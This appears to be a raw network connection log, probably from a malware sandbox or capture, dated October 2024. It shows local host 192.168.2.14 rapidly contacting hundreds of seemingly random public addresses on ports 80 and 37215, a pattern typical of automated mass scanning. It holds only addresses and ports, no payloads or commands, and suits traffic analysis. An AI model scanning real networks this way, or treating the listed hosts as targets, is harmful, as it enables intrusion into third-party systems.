Oct 14, 2024 17:34:17.148327112 CEST	29626	80	192.168.2.14	203.248.85.22
Oct 14, 2024 17:34:17.148327112 CEST	29626	80	192.168.2.14	78.1.140.220
Oct 14, 2024 17:34:17.148330927 CEST	29626	80	192.168.2.14	211.252.54.52
Oct 14, 2024 17:34:17.148363113 CEST	29626	80	192.168.2.14	19.183.167.103
Oct 14, 2024 17:34:17.148369074 CEST	29626	80	192.168.2.14	12.9.120.36
Oct 14, 2024 17:34:17.148369074 CEST	29626	80	192.168.2.14	161.124.56.114
Oct 14, 2024 17:34:17.148369074 CEST	29626	80	192.168.2.14	79.9.209.111
Oct 14, 2024 17:34:17.148384094 CEST	29626	80	192.168.2.14	98.67.30.196
Oct 14, 2024 17:34:17.148384094 CEST	29626	80	192.168.2.14	59.88.60.136
Oct 14, 2024 17:34:17.148384094 CEST	29626	80	192.168.2.14	204.207.251.86
Oct 14, 2024 17:34:17.148385048 CEST	29626	80	192.168.2.14	121.228.84.92
Oct 14, 2024 17:34:17.148385048 CEST	29626	80	192.168.2.14	199.81.235.207
Oct 14, 2024 17:34:17.148387909 CEST	29626	80	192.168.2.14	182.45.125.47
Oct 14, 2024 17:34:17.148408890 CEST	29626	80	192.168.2.14	8.214.124.30
Oct 14, 2024 17:34:17.148408890 CEST	29626	80	192.168.2.14	54.180.14.88
Oct 14, 2024 17:34:17.148418903 CEST	29626	80	192.168.2.14	121.220.73.118
Oct 14, 2024 17:34:17.148426056 CEST	29626	80	192.168.2.14	81.102.9.53
Oct 14, 2024 17:34:17.148426056 CEST	29626	80	192.168.2.14	70.17.103.164
Oct 14, 2024 17:34:17.148432970 CEST	29626	80	192.168.2.14	59.195.97.246
Oct 14, 2024 17:34:17.148432970 CEST	29626	80	192.168.2.14	114.86.232.129
Oct 14, 2024 17:34:17.148432970 CEST	29626	80	192.168.2.14	59.217.13.210
Oct 14, 2024 17:34:17.148442984 CEST	29626	80	192.168.2.14	12.92.81.195
Oct 14, 2024 17:34:17.148446083 CEST	29626	80	192.168.2.14	213.181.22.247
Oct 14, 2024 17:34:17.148446083 CEST	29626	80	192.168.2.14	54.234.152.27
Oct 14, 2024 17:34:17.148454905 CEST	29626	80	192.168.2.14	9.120.70.106
Oct 14, 2024 17:34:17.148467064 CEST	29626	80	192.168.2.14	2.114.92.253
Oct 14, 2024 17:34:17.148467064 CEST	29626	80	192.168.2.14	104.107.99.112
Oct 14, 2024 17:34:17.148469925 CEST	29626	80	192.168.2.14	83.118.188.0
Oct 14, 2024 17:34:17.148473978 CEST	29626	80	192.168.2.14	104.235.95.164
Oct 14, 2024 17:34:17.148484945 CEST	29626	80	192.168.2.14	27.156.107.47
Oct 14, 2024 17:34:17.148484945 CEST	29626	80	192.168.2.14	182.149.158.220
Oct 14, 2024 17:34:17.148484945 CEST	29626	80	192.168.2.14	41.226.45.222
Oct 14, 2024 17:34:17.148488045 CEST	29626	80	192.168.2.14	194.33.175.242
Oct 14, 2024 17:34:17.148508072 CEST	29626	80	192.168.2.14	187.93.10.162
Oct 14, 2024 17:34:17.148508072 CEST	29626	80	192.168.2.14	181.17.180.67
Oct 14, 2024 17:34:17.148508072 CEST	29626	80	192.168.2.14	37.199.19.158
Oct 14, 2024 17:34:17.148516893 CEST	29626	80	192.168.2.14	192.210.138.10
Oct 14, 2024 17:34:17.148518085 CEST	29626	80	192.168.2.14	79.67.237.213
Oct 14, 2024 17:34:17.148523092 CEST	29626	80	192.168.2.14	206.249.81.61
Oct 14, 2024 17:34:17.148540974 CEST	29626	80	192.168.2.14	39.194.9.107
Oct 14, 2024 17:34:17.148540974 CEST	29626	80	192.168.2.14	202.85.82.72
Oct 14, 2024 17:34:17.148540974 CEST	29626	80	192.168.2.14	27.6.89.146
Oct 14, 2024 17:34:17.148541927 CEST	29626	80	192.168.2.14	18.6.109.216
Oct 14, 2024 17:34:17.148550987 CEST	29626	80	192.168.2.14	95.30.111.31
Oct 14, 2024 17:34:17.148557901 CEST	29626	80	192.168.2.14	103.103.214.45
Oct 14, 2024 17:34:17.148557901 CEST	29626	80	192.168.2.14	40.123.30.243
Oct 14, 2024 17:34:17.148559093 CEST	29626	80	192.168.2.14	204.30.28.23
Oct 14, 2024 17:34:17.148564100 CEST	29626	80	192.168.2.14	19.129.199.71
Oct 14, 2024 17:34:17.148567915 CEST	29626	80	192.168.2.14	73.58.96.92
Oct 14, 2024 17:34:17.148575068 CEST	29626	80	192.168.2.14	146.111.28.96
Oct 14, 2024 17:34:17.148585081 CEST	29626	80	192.168.2.14	143.215.88.95
Oct 14, 2024 17:34:17.148593903 CEST	29626	80	192.168.2.14	75.86.211.100
Oct 14, 2024 17:34:17.148597002 CEST	29626	80	192.168.2.14	173.3.73.220
Oct 14, 2024 17:34:17.148597956 CEST	29626	80	192.168.2.14	27.154.88.89
Oct 14, 2024 17:34:17.148613930 CEST	29626	80	192.168.2.14	73.38.17.106
Oct 14, 2024 17:34:17.148617983 CEST	29626	80	192.168.2.14	93.11.209.231
Oct 14, 2024 17:34:17.148618937 CEST	29626	80	192.168.2.14	68.52.130.180
Oct 14, 2024 17:34:17.148627043 CEST	29626	80	192.168.2.14	147.78.173.107
Oct 14, 2024 17:34:17.148631096 CEST	29626	80	192.168.2.14	68.153.242.29
Oct 14, 2024 17:34:17.148631096 CEST	29626	80	192.168.2.14	160.145.189.217
Oct 14, 2024 17:34:17.148632050 CEST	29626	80	192.168.2.14	48.206.9.57
Oct 14, 2024 17:34:17.148633957 CEST	29626	80	192.168.2.14	193.70.187.234
Oct 14, 2024 17:34:17.148633957 CEST	29626	80	192.168.2.14	83.5.132.114
Oct 14, 2024 17:34:17.148636103 CEST	29626	80	192.168.2.14	134.151.225.138
Oct 14, 2024 17:34:17.148638964 CEST	29626	80	192.168.2.14	129.69.85.195
Oct 14, 2024 17:34:17.148647070 CEST	29626	80	192.168.2.14	23.153.57.144
Oct 14, 2024 17:34:17.148647070 CEST	29626	80	192.168.2.14	4.139.234.132
Oct 14, 2024 17:34:17.148657084 CEST	29626	80	192.168.2.14	136.146.38.191
Oct 14, 2024 17:34:17.148669958 CEST	29626	80	192.168.2.14	219.83.104.101
Oct 14, 2024 17:34:17.148669958 CEST	29626	80	192.168.2.14	132.253.128.165
Oct 14, 2024 17:34:17.148672104 CEST	29626	80	192.168.2.14	80.127.149.87
Oct 14, 2024 17:34:17.148679018 CEST	29626	80	192.168.2.14	35.125.58.133
Oct 14, 2024 17:34:17.148683071 CEST	29626	80	192.168.2.14	1.217.21.229
Oct 14, 2024 17:34:17.148686886 CEST	29626	80	192.168.2.14	183.224.94.168
Oct 14, 2024 17:34:17.148686886 CEST	29626	80	192.168.2.14	45.59.102.81
Oct 14, 2024 17:34:17.148691893 CEST	29626	80	192.168.2.14	163.191.182.90
Oct 14, 2024 17:34:17.148709059 CEST	29626	80	192.168.2.14	85.220.229.33
Oct 14, 2024 17:34:17.148713112 CEST	29626	80	192.168.2.14	210.67.162.150
Oct 14, 2024 17:34:17.148722887 CEST	29626	80	192.168.2.14	37.17.122.176
Oct 14, 2024 17:34:17.148725033 CEST	29626	80	192.168.2.14	44.197.112.164
Oct 14, 2024 17:34:17.148735046 CEST	29626	80	192.168.2.14	183.100.125.91
Oct 14, 2024 17:34:17.148735046 CEST	29626	80	192.168.2.14	173.86.93.247
Oct 14, 2024 17:34:17.148742914 CEST	29626	80	192.168.2.14	40.0.137.30
Oct 14, 2024 17:34:17.148742914 CEST	29626	80	192.168.2.14	162.199.232.97
Oct 14, 2024 17:34:17.148742914 CEST	29626	80	192.168.2.14	211.157.55.54
Oct 14, 2024 17:34:17.148742914 CEST	29626	80	192.168.2.14	105.47.110.184
Oct 14, 2024 17:34:17.148745060 CEST	29626	80	192.168.2.14	181.30.199.11
Oct 14, 2024 17:34:17.148756027 CEST	29626	80	192.168.2.14	101.95.181.254
Oct 14, 2024 17:34:17.148760080 CEST	29626	80	192.168.2.14	151.239.61.237
Oct 14, 2024 17:34:17.148762941 CEST	29626	80	192.168.2.14	105.100.91.199
Oct 14, 2024 17:34:17.148762941 CEST	29626	80	192.168.2.14	126.195.97.64
Oct 14, 2024 17:34:17.148765087 CEST	29626	80	192.168.2.14	77.20.87.126
Oct 14, 2024 17:34:17.148766041 CEST	29626	80	192.168.2.14	180.228.215.210
Oct 14, 2024 17:34:17.148766041 CEST	29626	80	192.168.2.14	100.151.250.100
Oct 14, 2024 17:34:17.148787975 CEST	29626	80	192.168.2.14	194.90.81.244
Oct 14, 2024 17:34:17.148788929 CEST	29626	80	192.168.2.14	52.194.251.66
Oct 14, 2024 17:34:17.148792028 CEST	29626	80	192.168.2.14	179.233.233.24
Oct 14, 2024 17:34:17.148804903 CEST	29626	80	192.168.2.14	131.67.43.125
Oct 14, 2024 17:34:17.148804903 CEST	29626	80	192.168.2.14	216.23.140.4
Oct 14, 2024 17:34:17.148804903 CEST	29626	80	192.168.2.14	140.101.50.205
Oct 14, 2024 17:34:17.148819923 CEST	29626	80	192.168.2.14	40.28.189.93
Oct 14, 2024 17:34:17.148828030 CEST	29626	80	192.168.2.14	80.40.102.14
Oct 14, 2024 17:34:17.148828030 CEST	29626	80	192.168.2.14	43.70.21.242
Oct 14, 2024 17:34:17.148854017 CEST	29626	80	192.168.2.14	185.43.222.246
Oct 14, 2024 17:34:17.148855925 CEST	29626	80	192.168.2.14	106.7.116.186
Oct 14, 2024 17:34:17.148857117 CEST	29626	80	192.168.2.14	25.139.102.236
Oct 14, 2024 17:34:17.148859024 CEST	29626	80	192.168.2.14	174.152.25.237
Oct 14, 2024 17:34:17.148859024 CEST	29626	80	192.168.2.14	223.150.142.61
Oct 14, 2024 17:34:17.148869038 CEST	29626	80	192.168.2.14	12.161.74.206
Oct 14, 2024 17:34:17.148875952 CEST	29626	80	192.168.2.14	211.249.118.8
Oct 14, 2024 17:34:17.148886919 CEST	29626	80	192.168.2.14	91.132.62.9
Oct 14, 2024 17:34:17.148895979 CEST	29626	80	192.168.2.14	160.66.148.136
Oct 14, 2024 17:34:17.148895979 CEST	29626	80	192.168.2.14	220.222.174.226
Oct 14, 2024 17:34:17.148896933 CEST	29626	80	192.168.2.14	162.144.29.150
Oct 14, 2024 17:34:17.148896933 CEST	29626	80	192.168.2.14	184.144.232.152
Oct 14, 2024 17:34:17.148900986 CEST	29626	80	192.168.2.14	171.97.163.94
Oct 14, 2024 17:34:17.148915052 CEST	29626	80	192.168.2.14	112.208.78.95
Oct 14, 2024 17:34:17.148915052 CEST	29626	80	192.168.2.14	119.67.65.127
Oct 14, 2024 17:34:17.148917913 CEST	29626	80	192.168.2.14	196.221.223.202
Oct 14, 2024 17:34:17.148927927 CEST	29626	80	192.168.2.14	38.69.196.62
Oct 14, 2024 17:34:17.148927927 CEST	29626	80	192.168.2.14	192.139.101.95
Oct 14, 2024 17:34:17.148927927 CEST	29626	80	192.168.2.14	142.246.173.234
Oct 14, 2024 17:34:17.148932934 CEST	29626	80	192.168.2.14	8.190.137.199
Oct 14, 2024 17:34:17.148932934 CEST	29626	80	192.168.2.14	34.125.252.87
Oct 14, 2024 17:34:17.148948908 CEST	29626	80	192.168.2.14	113.146.90.236
Oct 14, 2024 17:34:17.148948908 CEST	29626	80	192.168.2.14	62.125.229.198
Oct 14, 2024 17:34:17.148950100 CEST	29626	80	192.168.2.14	128.183.134.218
Oct 14, 2024 17:34:17.148952007 CEST	29626	80	192.168.2.14	161.105.120.69
Oct 14, 2024 17:34:17.148964882 CEST	29626	80	192.168.2.14	181.160.206.130
Oct 14, 2024 17:34:17.148972988 CEST	29626	80	192.168.2.14	116.143.66.128
Oct 14, 2024 17:34:17.148994923 CEST	29626	80	192.168.2.14	79.117.170.150
Oct 14, 2024 17:34:17.148997068 CEST	29626	80	192.168.2.14	189.210.168.169
Oct 14, 2024 17:34:17.149003983 CEST	29626	80	192.168.2.14	58.202.184.194
Oct 14, 2024 17:34:17.149019957 CEST	29626	80	192.168.2.14	20.189.26.135
Oct 14, 2024 17:34:17.149019957 CEST	29626	80	192.168.2.14	64.2.237.68
Oct 14, 2024 17:34:17.149024010 CEST	29626	80	192.168.2.14	178.125.203.200
Oct 14, 2024 17:34:17.149024010 CEST	29626	80	192.168.2.14	212.13.228.238
Oct 14, 2024 17:34:17.149024010 CEST	29626	80	192.168.2.14	14.119.194.37
Oct 14, 2024 17:34:17.149024010 CEST	29626	80	192.168.2.14	64.171.13.183
Oct 14, 2024 17:34:17.149048090 CEST	29626	80	192.168.2.14	191.229.13.191
Oct 14, 2024 17:34:17.149051905 CEST	29626	80	192.168.2.14	204.134.155.17
Oct 14, 2024 17:34:17.149055004 CEST	29626	80	192.168.2.14	197.232.84.247
Oct 14, 2024 17:34:17.149065018 CEST	29626	80	192.168.2.14	27.125.130.194
Oct 14, 2024 17:34:17.149065018 CEST	29626	80	192.168.2.14	164.82.73.141
Oct 14, 2024 17:34:17.149065971 CEST	29626	80	192.168.2.14	219.61.61.224
Oct 14, 2024 17:34:17.152410030 CEST	80	29626	147.45.136.124	192.168.2.14
Oct 14, 2024 17:34:17.152420044 CEST	80	29626	130.143.3.66	192.168.2.14
Oct 14, 2024 17:34:17.152471066 CEST	29626	80	192.168.2.14	147.45.136.124
Oct 14, 2024 17:34:17.152546883 CEST	29626	80	192.168.2.14	130.143.3.66
Oct 14, 2024 17:34:17.152725935 CEST	80	29626	150.128.177.165	192.168.2.14
Oct 14, 2024 17:34:17.152735949 CEST	80	29626	208.30.70.127	192.168.2.14
Oct 14, 2024 17:34:17.152751923 CEST	80	29626	36.229.215.172	192.168.2.14
Oct 14, 2024 17:34:17.152766943 CEST	29626	80	192.168.2.14	208.30.70.127
Oct 14, 2024 17:34:17.152771950 CEST	29626	80	192.168.2.14	150.128.177.165
Oct 14, 2024 17:34:17.152793884 CEST	29626	80	192.168.2.14	36.229.215.172
Oct 14, 2024 17:34:17.152848959 CEST	80	29626	134.100.150.105	192.168.2.14
Oct 14, 2024 17:34:17.152858973 CEST	80	29626	79.42.6.55	192.168.2.14
Oct 14, 2024 17:34:17.152868032 CEST	80	29626	223.63.237.131	192.168.2.14
Oct 14, 2024 17:34:17.152872086 CEST	80	29626	180.26.206.254	192.168.2.14
Oct 14, 2024 17:34:17.152882099 CEST	80	29626	125.2.94.112	192.168.2.14
Oct 14, 2024 17:34:17.152890921 CEST	80	29626	191.68.234.83	192.168.2.14
Oct 14, 2024 17:34:17.152899981 CEST	80	29626	146.80.94.46	192.168.2.14
Oct 14, 2024 17:34:17.152904987 CEST	80	29626	129.243.112.179	192.168.2.14
Oct 14, 2024 17:34:17.152908087 CEST	29626	80	192.168.2.14	180.26.206.254
Oct 14, 2024 17:34:17.152909040 CEST	29626	80	192.168.2.14	79.42.6.55
Oct 14, 2024 17:34:17.152915001 CEST	80	29626	134.1.143.104	192.168.2.14
Oct 14, 2024 17:34:17.152916908 CEST	29626	80	192.168.2.14	223.63.237.131
Oct 14, 2024 17:34:17.152926922 CEST	29626	80	192.168.2.14	191.68.234.83
Oct 14, 2024 17:34:17.152932882 CEST	80	29626	123.237.1.222	192.168.2.14
Oct 14, 2024 17:34:17.152934074 CEST	29626	80	192.168.2.14	129.243.112.179
Oct 14, 2024 17:34:17.152934074 CEST	29626	80	192.168.2.14	146.80.94.46
Oct 14, 2024 17:34:17.152940035 CEST	29626	80	192.168.2.14	125.2.94.112
Oct 14, 2024 17:34:17.152941942 CEST	80	29626	72.178.53.232	192.168.2.14
Oct 14, 2024 17:34:17.152944088 CEST	29626	80	192.168.2.14	134.1.143.104
Oct 14, 2024 17:34:17.152956963 CEST	80	29626	208.26.103.154	192.168.2.14
Oct 14, 2024 17:34:17.152959108 CEST	29626	80	192.168.2.14	134.100.150.105
Oct 14, 2024 17:34:17.152966022 CEST	80	29626	155.83.97.123	192.168.2.14
Oct 14, 2024 17:34:17.152976036 CEST	80	29626	164.109.7.193	192.168.2.14
Oct 14, 2024 17:34:17.152992964 CEST	80	29626	161.83.52.227	192.168.2.14
Oct 14, 2024 17:34:17.152997017 CEST	29626	80	192.168.2.14	72.178.53.232
Oct 14, 2024 17:34:17.153004885 CEST	80	29626	194.57.52.250	192.168.2.14
Oct 14, 2024 17:34:17.153009892 CEST	29626	80	192.168.2.14	155.83.97.123
Oct 14, 2024 17:34:17.153012037 CEST	29626	80	192.168.2.14	208.26.103.154
Oct 14, 2024 17:34:17.153012037 CEST	29626	80	192.168.2.14	123.237.1.222
Oct 14, 2024 17:34:17.153012991 CEST	29626	80	192.168.2.14	164.109.7.193
Oct 14, 2024 17:34:17.153022051 CEST	80	29626	62.188.228.117	192.168.2.14
Oct 14, 2024 17:34:17.153031111 CEST	80	29626	210.49.155.136	192.168.2.14
Oct 14, 2024 17:34:17.153039932 CEST	80	29626	132.131.248.19	192.168.2.14
Oct 14, 2024 17:34:17.153048992 CEST	80	29626	154.189.149.132	192.168.2.14
Oct 14, 2024 17:34:17.153058052 CEST	80	29626	221.110.37.119	192.168.2.14
Oct 14, 2024 17:34:17.153059959 CEST	29626	80	192.168.2.14	161.83.52.227
Oct 14, 2024 17:34:17.153059959 CEST	29626	80	192.168.2.14	194.57.52.250
Oct 14, 2024 17:34:17.153059959 CEST	29626	80	192.168.2.14	62.188.228.117
Oct 14, 2024 17:34:17.153076887 CEST	29626	80	192.168.2.14	210.49.155.136
Oct 14, 2024 17:34:17.153076887 CEST	29626	80	192.168.2.14	132.131.248.19
Oct 14, 2024 17:34:17.153088093 CEST	29626	80	192.168.2.14	154.189.149.132
Oct 14, 2024 17:34:17.153225899 CEST	29626	80	192.168.2.14	221.110.37.119
Oct 14, 2024 17:34:17.163458109 CEST	34010	37215	192.168.2.14	197.115.19.88
Oct 14, 2024 17:34:17.163466930 CEST	58824	37215	192.168.2.14	197.176.215.209
Oct 14, 2024 17:34:17.163472891 CEST	54432	37215	192.168.2.14	197.10.164.146
Oct 14, 2024 17:34:17.163491964 CEST	50520	37215	192.168.2.14	197.129.241.38
Oct 14, 2024 17:34:17.163492918 CEST	58760	37215	192.168.2.14	156.79.224.50
Oct 14, 2024 17:34:17.168348074 CEST	37215	34010	197.115.19.88	192.168.2.14
Oct 14, 2024 17:34:17.168359995 CEST	37215	58824	197.176.215.209	192.168.2.14
Oct 14, 2024 17:34:17.168422937 CEST	34010	37215	192.168.2.14	197.115.19.88
Oct 14, 2024 17:34:17.168529987 CEST	58824	37215	192.168.2.14	197.176.215.209
Oct 14, 2024 17:34:17.168531895 CEST	29625	37215	192.168.2.14	156.24.186.44
Oct 14, 2024 17:34:17.168539047 CEST	29625	37215	192.168.2.14	41.168.24.184
Oct 14, 2024 17:34:17.168544054 CEST	29625	37215	192.168.2.14	156.253.143.174
Oct 14, 2024 17:34:17.168544054 CEST	29625	37215	192.168.2.14	41.195.101.168
Oct 14, 2024 17:34:17.168553114 CEST	29625	37215	192.168.2.14	41.111.104.235
Oct 14, 2024 17:34:17.168559074 CEST	29625	37215	192.168.2.14	41.231.185.11
Oct 14, 2024 17:34:17.168559074 CEST	29625	37215	192.168.2.14	197.117.226.194
Oct 14, 2024 17:34:17.168559074 CEST	29625	37215	192.168.2.14	156.15.36.211
Oct 14, 2024 17:34:17.168569088 CEST	29625	37215	192.168.2.14	41.113.98.247
Oct 14, 2024 17:34:17.168569088 CEST	29625	37215	192.168.2.14	156.137.20.155
Oct 14, 2024 17:34:17.168569088 CEST	29625	37215	192.168.2.14	156.36.223.253
Oct 14, 2024 17:34:17.168579102 CEST	29625	37215	192.168.2.14	156.144.27.230
Oct 14, 2024 17:34:17.168580055 CEST	29625	37215	192.168.2.14	41.64.223.244
Oct 14, 2024 17:34:17.168579102 CEST	29625	37215	192.168.2.14	41.235.91.199
Oct 14, 2024 17:34:17.168579102 CEST	29625	37215	192.168.2.14	197.88.151.236
Oct 14, 2024 17:34:17.168582916 CEST	29625	37215	192.168.2.14	156.29.73.45
Oct 14, 2024 17:34:17.168581009 CEST	29625	37215	192.168.2.14	197.183.26.157
Oct 14, 2024 17:34:17.168582916 CEST	29625	37215	192.168.2.14	197.255.77.190
Oct 14, 2024 17:34:17.168581009 CEST	29625	37215	192.168.2.14	156.147.72.99
Oct 14, 2024 17:34:17.168581009 CEST	29625	37215	192.168.2.14	156.49.142.25
Oct 14, 2024 17:34:17.168581009 CEST	29625	37215	192.168.2.14	156.94.233.85
Oct 14, 2024 17:34:17.168581009 CEST	29625	37215	192.168.2.14	197.251.114.86
Oct 14, 2024 17:34:17.168593884 CEST	29625	37215	192.168.2.14	41.143.92.177
Oct 14, 2024 17:34:17.168593884 CEST	29625	37215	192.168.2.14	156.116.106.42
Oct 14, 2024 17:34:17.168593884 CEST	29625	37215	192.168.2.14	156.242.214.183
Oct 14, 2024 17:34:17.168596029 CEST	29625	37215	192.168.2.14	156.184.42.114
Oct 14, 2024 17:34:17.168606043 CEST	29625	37215	192.168.2.14	197.129.29.9
Oct 14, 2024 17:34:17.168608904 CEST	29625	37215	192.168.2.14	41.213.119.226
Oct 14, 2024 17:34:17.168612003 CEST	29625	37215	192.168.2.14	41.174.99.167
Oct 14, 2024 17:34:17.168622017 CEST	29625	37215	192.168.2.14	197.207.109.45
Oct 14, 2024 17:34:17.168622017 CEST	29625	37215	192.168.2.14	197.253.157.96
Oct 14, 2024 17:34:17.168622017 CEST	29625	37215	192.168.2.14	197.97.231.105
Oct 14, 2024 17:34:17.168627024 CEST	29625	37215	192.168.2.14	41.48.94.61
Oct 14, 2024 17:34:17.168627024 CEST	29625	37215	192.168.2.14	156.53.66.34
Oct 14, 2024 17:34:17.168632984 CEST	29625	37215	192.168.2.14	197.170.80.182
Oct 14, 2024 17:34:17.168638945 CEST	29625	37215	192.168.2.14	197.239.25.24
Oct 14, 2024 17:34:17.168638945 CEST	29625	37215	192.168.2.14	41.62.146.91
Oct 14, 2024 17:34:17.168638945 CEST	29625	37215	192.168.2.14	197.95.160.244
Oct 14, 2024 17:34:17.168653011 CEST	29625	37215	192.168.2.14	197.234.66.196
Oct 14, 2024 17:34:17.168653965 CEST	29625	37215	192.168.2.14	156.120.126.187
Oct 14, 2024 17:34:17.168658018 CEST	29625	37215	192.168.2.14	197.143.174.173
Oct 14, 2024 17:34:17.168661118 CEST	29625	37215	192.168.2.14	197.69.177.7
Oct 14, 2024 17:34:17.168661118 CEST	29625	37215	192.168.2.14	197.186.224.94
Oct 14, 2024 17:34:17.168661118 CEST	29625	37215	192.168.2.14	156.137.37.133
Oct 14, 2024 17:34:17.168661118 CEST	29625	37215	192.168.2.14	156.238.172.128
Oct 14, 2024 17:34:17.168661118 CEST	29625	37215	192.168.2.14	197.79.62.214
Oct 14, 2024 17:34:17.168662071 CEST	29625	37215	192.168.2.14	197.181.121.184
Oct 14, 2024 17:34:17.168662071 CEST	29625	37215	192.168.2.14	197.56.137.107
Oct 14, 2024 17:34:17.168675900 CEST	29625	37215	192.168.2.14	41.237.112.143
Oct 14, 2024 17:34:17.168687105 CEST	29625	37215	192.168.2.14	41.107.163.26
Oct 14, 2024 17:34:17.168687105 CEST	29625	37215	192.168.2.14	41.241.206.52
Oct 14, 2024 17:34:17.168687105 CEST	29625	37215	192.168.2.14	156.19.82.195
Oct 14, 2024 17:34:17.168687105 CEST	29625	37215	192.168.2.14	156.230.30.97
Oct 14, 2024 17:34:17.168699980 CEST	29625	37215	192.168.2.14	197.51.202.82
Oct 14, 2024 17:34:17.168699980 CEST	29625	37215	192.168.2.14	156.125.26.42
Oct 14, 2024 17:34:17.168701887 CEST	29625	37215	192.168.2.14	197.28.240.157
Oct 14, 2024 17:34:17.168710947 CEST	29625	37215	192.168.2.14	156.142.191.233
Oct 14, 2024 17:34:17.168711901 CEST	29625	37215	192.168.2.14	41.148.236.56
Oct 14, 2024 17:34:17.168711901 CEST	29625	37215	192.168.2.14	197.66.245.149
Oct 14, 2024 17:34:17.168716908 CEST	29625	37215	192.168.2.14	156.1.154.151
Oct 14, 2024 17:34:17.168716908 CEST	29625	37215	192.168.2.14	156.175.156.11
Oct 14, 2024 17:34:17.168716908 CEST	29625	37215	192.168.2.14	197.249.135.26
Oct 14, 2024 17:34:17.168725967 CEST	29625	37215	192.168.2.14	197.133.60.32
Oct 14, 2024 17:34:17.168726921 CEST	29625	37215	192.168.2.14	41.96.120.179
Oct 14, 2024 17:34:17.168726921 CEST	29625	37215	192.168.2.14	197.176.3.65
Oct 14, 2024 17:34:17.168736935 CEST	29625	37215	192.168.2.14	156.148.143.201
Oct 14, 2024 17:34:17.168736935 CEST	29625	37215	192.168.2.14	41.212.220.253
Oct 14, 2024 17:34:17.168739080 CEST	29625	37215	192.168.2.14	41.170.135.72
Oct 14, 2024 17:34:17.168740988 CEST	29625	37215	192.168.2.14	41.247.108.196
Oct 14, 2024 17:34:17.168742895 CEST	29625	37215	192.168.2.14	41.131.216.164
Oct 14, 2024 17:34:17.168742895 CEST	29625	37215	192.168.2.14	197.133.45.22
Oct 14, 2024 17:34:17.168745041 CEST	29625	37215	192.168.2.14	197.184.26.116
Oct 14, 2024 17:34:17.168750048 CEST	29625	37215	192.168.2.14	156.154.205.107
Oct 14, 2024 17:34:17.168762922 CEST	29625	37215	192.168.2.14	197.73.236.146
Oct 14, 2024 17:34:17.168767929 CEST	29625	37215	192.168.2.14	156.240.136.56
Oct 14, 2024 17:34:17.168767929 CEST	29625	37215	192.168.2.14	41.6.247.169
Oct 14, 2024 17:34:17.168767929 CEST	29625	37215	192.168.2.14	41.18.15.115
Oct 14, 2024 17:34:17.168775082 CEST	29625	37215	192.168.2.14	197.1.195.5
Oct 14, 2024 17:34:17.168806076 CEST	29625	37215	192.168.2.14	156.59.2.28
Oct 14, 2024 17:34:17.168807983 CEST	29625	37215	192.168.2.14	197.35.64.30
Oct 14, 2024 17:34:17.168807983 CEST	29625	37215	192.168.2.14	41.192.137.157
Oct 14, 2024 17:34:17.168806076 CEST	29625	37215	192.168.2.14	197.73.57.70
Oct 14, 2024 17:34:17.168806076 CEST	29625	37215	192.168.2.14	156.175.118.130
Oct 14, 2024 17:34:17.168811083 CEST	29625	37215	192.168.2.14	41.195.35.195
Oct 14, 2024 17:34:17.168812990 CEST	29625	37215	192.168.2.14	41.243.188.28
Oct 14, 2024 17:34:17.168812990 CEST	29625	37215	192.168.2.14	156.158.112.137
Oct 14, 2024 17:34:17.168814898 CEST	29625	37215	192.168.2.14	197.20.202.207
Oct 14, 2024 17:34:17.168814898 CEST	29625	37215	192.168.2.14	41.0.231.91
Oct 14, 2024 17:34:17.168814898 CEST	29625	37215	192.168.2.14	41.54.13.80
Oct 14, 2024 17:34:17.168819904 CEST	29625	37215	192.168.2.14	156.219.198.119
Oct 14, 2024 17:34:17.168819904 CEST	29625	37215	192.168.2.14	197.227.82.190
Oct 14, 2024 17:34:17.168821096 CEST	29625	37215	192.168.2.14	197.242.101.56
Oct 14, 2024 17:34:17.168821096 CEST	29625	37215	192.168.2.14	156.127.77.41
Oct 14, 2024 17:34:17.168828011 CEST	29625	37215	192.168.2.14	156.178.127.11
Oct 14, 2024 17:34:17.168828011 CEST	29625	37215	192.168.2.14	156.36.179.202
Oct 14, 2024 17:34:17.168828964 CEST	29625	37215	192.168.2.14	197.242.162.139
Oct 14, 2024 17:34:17.168829918 CEST	29625	37215	192.168.2.14	197.62.50.11
Oct 14, 2024 17:34:17.168829918 CEST	29625	37215	192.168.2.14	156.231.123.209
Oct 14, 2024 17:34:17.168829918 CEST	29625	37215	192.168.2.14	197.132.244.217
Oct 14, 2024 17:34:17.168831110 CEST	29625	37215	192.168.2.14	156.21.222.102
Oct 14, 2024 17:34:17.168831110 CEST	29625	37215	192.168.2.14	156.155.138.189
Oct 14, 2024 17:34:17.168828964 CEST	29625	37215	192.168.2.14	197.75.227.247
Oct 14, 2024 17:34:17.168832064 CEST	29625	37215	192.168.2.14	41.129.131.133
Oct 14, 2024 17:34:17.168833971 CEST	29625	37215	192.168.2.14	41.47.102.190
Oct 14, 2024 17:34:17.168832064 CEST	29625	37215	192.168.2.14	156.228.78.33
Oct 14, 2024 17:34:17.168833971 CEST	29625	37215	192.168.2.14	197.218.144.142
Oct 14, 2024 17:34:17.168839931 CEST	29625	37215	192.168.2.14	156.26.87.95
Oct 14, 2024 17:34:17.168843031 CEST	29625	37215	192.168.2.14	197.215.122.17
Oct 14, 2024 17:34:17.168843031 CEST	29625	37215	192.168.2.14	197.110.13.111
Oct 14, 2024 17:34:17.168845892 CEST	29625	37215	192.168.2.14	197.182.27.221
Oct 14, 2024 17:34:17.168848991 CEST	29625	37215	192.168.2.14	156.201.37.99
Oct 14, 2024 17:34:17.168853045 CEST	29625	37215	192.168.2.14	156.201.234.199
Oct 14, 2024 17:34:17.168859005 CEST	29625	37215	192.168.2.14	156.28.242.171
Oct 14, 2024 17:34:17.168859005 CEST	29625	37215	192.168.2.14	197.191.126.50
Oct 14, 2024 17:34:17.168859005 CEST	29625	37215	192.168.2.14	197.107.242.25
Oct 14, 2024 17:34:17.168859005 CEST	29625	37215	192.168.2.14	197.55.191.105
Oct 14, 2024 17:34:17.168860912 CEST	29625	37215	192.168.2.14	41.138.8.240
Oct 14, 2024 17:34:17.168860912 CEST	29625	37215	192.168.2.14	197.38.209.61
Oct 14, 2024 17:34:17.168864012 CEST	29625	37215	192.168.2.14	41.56.151.232
Oct 14, 2024 17:34:17.168864012 CEST	29625	37215	192.168.2.14	197.29.116.202
Oct 14, 2024 17:34:17.168867111 CEST	29625	37215	192.168.2.14	156.143.26.197
Oct 14, 2024 17:34:17.168868065 CEST	29625	37215	192.168.2.14	197.84.58.223
Oct 14, 2024 17:34:17.168875933 CEST	29625	37215	192.168.2.14	197.100.147.175
Oct 14, 2024 17:34:17.168875933 CEST	29625	37215	192.168.2.14	41.11.193.156
